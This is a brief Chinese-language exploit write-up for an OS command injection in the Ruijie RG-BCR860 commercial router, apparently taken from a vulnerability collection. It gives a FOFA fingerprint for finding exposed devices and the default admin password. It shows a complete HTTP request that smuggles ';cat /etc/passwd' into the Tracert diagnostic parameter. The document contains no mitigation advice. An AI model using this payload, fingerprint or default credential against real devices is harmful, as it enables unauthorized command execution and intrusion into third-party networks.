R8-1锐捷-RG-BCR860-RCE

漏洞描述：

RG-BCR860是锐捷网络推出的一款商业云路由器，它是专为酒店、餐饮、门店设计，适用带宽100Mbps,带机量可达150台，支持Sec VPM、内置安全审计模块，给商家带来更好的网络营销体验 。该产品主支持全中文的WEB 界面配置，不再需要用传统的命令行进行配置，使得设备更加简单方便的进行维护和管理。RG-BCR860 2.5.13版本存在操作系统命令注入漏洞，该漏洞源于组件Network Diagnostic Page存在问题，会导致操作系统命令注入。

网站图片：

网络测绘：

fofa语法：

- fofaicon_hash="-399311436"

漏洞复现：

1. 该漏洞属于后台漏洞，需要登录后台（默认密码：admin）

1. 漏洞位置：网络诊断->Tracert检测->输入127.0.0.1;cat /etc/passwd

payload：

```
GET /cgi-bin/luci/;stok=8bbbc7db8f9e3d2d972bd7ab13f21a75/admin/diagnosis?diag=tracert&tracert_address=127.0.0.1%3Bcat+%2Fetc%2Fpasswd&seq=20 HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: sysauth=698164456dede213f8f15cebba269273
```

效果图: